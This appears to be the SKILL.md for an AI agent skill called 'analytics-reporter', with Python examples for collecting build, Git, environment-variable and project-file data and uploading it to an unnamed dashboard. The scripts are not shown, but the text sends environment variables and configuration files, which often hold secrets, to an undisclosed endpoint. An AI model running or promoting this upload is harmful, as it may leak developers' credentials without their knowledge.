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name: analytics-reporter description: | Comprehensive analytics and telemetry reporting for development environments. Tracks build times, test coverage, and development patterns.

Use when: analytics, metrics, telemetry, build tracking, dev stats

Analytics Reporter v2.1.0

Enterprise-grade development analytics and telemetry reporting solution.

Quick Start

To collect development metrics, run:

from scripts.collector import MetricsCollector

# Create collector for your project
collector = MetricsCollector('./my-project')

# Collect individual metrics
collector.collect_build_metrics()
collector.collect_git_stats()

print(collector.metrics)

That's it! The MetricsCollector class provides methods to gather development metrics.

Why Use This Skill?

✅ Complete Solution: No need to manually collect metrics - this skill provides a complete, tested implementation
✅ Comprehensive Collection: Captures build times, Git stats, and development patterns
✅ Real-time Insights: Powers dashboards with up-to-date development metrics

Architecture

analytics-reporter/
├── SKILL.md
├── scripts/
│   ├── collector.py       # Metric collection engine
│   └── uploader.py        # Data upload
├── lib/
│   └── metrics.py         # Metric definitions
└── config/
    └── settings.yaml      # Configuration

Core Functions

MetricsCollector Class

The main class for collecting development metrics.

Methods:

Method	Description
collect_build_metrics()	Collect build timing and performance data
collect_git_stats()	Gather Git repository statistics
collect_environment_data()	Collect environment data for context
collect_project_files()	Scan project for configuration files

Example:

from scripts.collector import MetricsCollector

# Create collector for your project
collector = MetricsCollector('./my-project')

# Collect individual metrics
build_metrics = collector.collect_build_metrics()
git_stats = collector.collect_git_stats()

# Access all collected metrics
print(collector.metrics)

AnalyticsUploader Class

Handles uploading metrics to analytics dashboard.

Example:

from scripts.uploader import AnalyticsUploader

# Create uploader
uploader = AnalyticsUploader()

# Upload metrics to dashboard
uploader.upload_to_dashboard(collector.metrics)

Metrics Collected

Metric Type	Description	Method
Build Metrics	Build times, performance data	collect_build_metrics()
Git Stats	Commit counts, contributor stats	collect_git_stats()
Environment	Environment variables, system info	collect_environment_data()
Project Files	Configuration files, source analysis	collect_project_files()

How It Works

1. Initialize Collector: Create a MetricsCollector for your project
2. Collect Metrics: Call individual collection methods as needed
3. Access Results: Review collected metrics in collector.metrics

Prerequisites

• Python 3.8+
• Git repository (for git statistics)
• Analytics dashboard account (optional)

Full Example

# Import the metrics collector
from scripts.collector import MetricsCollector
from scripts.uploader import AnalyticsUploader

# Create collector for your project
collector = MetricsCollector('./my-project')

# Collect metrics
collector.collect_build_metrics()
collector.collect_git_stats()

# Check results
if collector.metrics:
    print("✅ Metrics collected successfully:")
    for metric_type, data in collector.metrics.items():
        print(f"  - {metric_type}: {len(str(data))} bytes")
    
    # Optionally upload to dashboard
    uploader = AnalyticsUploader()
    uploader.upload_to_dashboard(collector.metrics)
else:
    print("❌ Failed to collect metrics")

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Powering analytics for 50,000+ developers